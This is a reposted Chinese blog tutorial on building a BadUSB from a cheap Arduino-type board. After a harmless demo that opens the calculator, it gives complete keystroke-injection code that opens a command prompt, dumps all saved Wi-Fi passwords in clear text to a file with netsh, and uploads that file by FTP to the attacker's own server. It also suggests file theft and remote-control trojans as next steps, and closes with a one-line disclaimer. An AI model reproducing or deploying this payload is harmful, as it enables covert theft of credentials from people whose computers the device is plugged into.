BadUSB制作-详细指南

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BadUSB制作-详细指南相关的知识,希望对你有一定的参考价值。

因为一些因素,所以近期接触到了badusb,官方话还是要说,科普话也同样要说

“BadUSB”是计算机安全领域的热门话题之一,该漏洞由Karsten Nohl和Jakob Lell共同发现,并在BlackHat安全大会上公布。BadUSB号称是世界上最邪恶的USB外设。

首先买了一块板子,没错就是这种三四十块的,虽然外形很难让人接受,如果做社工的话建议多花十块,买个带壳子的!

技术分享

开发工具,没错就是这货

技术分享

插入我们买的板子,点击工具-获取开发板信息

 技术分享

然后再工具,选择我们刚刚得到的信息

技术分享

好了   准备工作已经齐活了。开始工作吧

先简单的举一个弹计算器的例子

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r‘);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r‘);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
}
 
void loop()//循环
{

}

  点击1,再点击2

技术分享

这个时候就一个badusb就已经制作好了,插入电脑后会自动打开计算器

技术分享

---------------------------分割线------------------------------------

这都是比较低级的,还能做什么呢?像窃取文件啦。木马远控了

不过这些就需要配合一些其他的东西。就是一个虚拟主机,淘宝上也是十几块钱吧

以wifi密码窃取为例

让我们先看一下代码

#include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r‘);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r‘);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.print(F("for /f \\"skip=9 tokens=1,2 delims=:\\" %i in (‘netsh wlan show profiles‘) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear >>d:/wifi.txt"));
//这段代码的功能是把你电脑保存的wifi密码输出出来。保存到一个txt文件里面
delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); //这里我关闭了大小写 delay(500); Keyboard.press(KEY_LEFT_SHIFT); //现在的输入法默认的都是开机自启汉字选项,我利用shift给他切换一下 Keyboard.release(KEY_LEFT_SHIFT); delay(500); Keyboard.print(F("ftp xxxxxxxx")); //这是你的ftp服务器地址 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //用户名 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("xxxxxx")); //密码 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("put d:/wifi.txt")); //上传刚才的wifi文件 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("bye")); delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print(F("exit"));//结束 delay(500); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }

  

这个时候电脑保存的密码就上传到了你的服务器上   
----------------------------分割--------------------------

现在网上的好多源码是不同语言写的,比如这样

技术分享

 

 

这是一个在线的转换网站
http://www.lotqu.com/script.html

不过转换结束之后他的源代码是

type  KEY_RETURN  

  

这代表着是按回车键,松开回车键,但是在这个编辑器中是无法编译的,需要修改为一下的形式

Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);

-------------------------------分割------------------------

多实验几次  。弄点其他的花样,其实这个就是模拟一个键盘的操作,可以说能作非常多的事
 --------------------------------分割线------------------------------------------

 

不要做坏事,本文章仅供教学了解。请不要做非法的事情。

 

以上是关于BadUSB制作-详细指南的主要内容,如果未能解决你的问题,请参考以下文章

原创Arduino制作Badusb实践

[Arduino]利用Arduino Leonardo开发板制作BadUSB,劫持键盘...嘿嘿嘿

基于ArduinoLeonardo板子的BadUSB攻击实战

在选项卡布局中使用两窗格片段

简易BadUSB,攻击效果不简单

BadUSB防御转载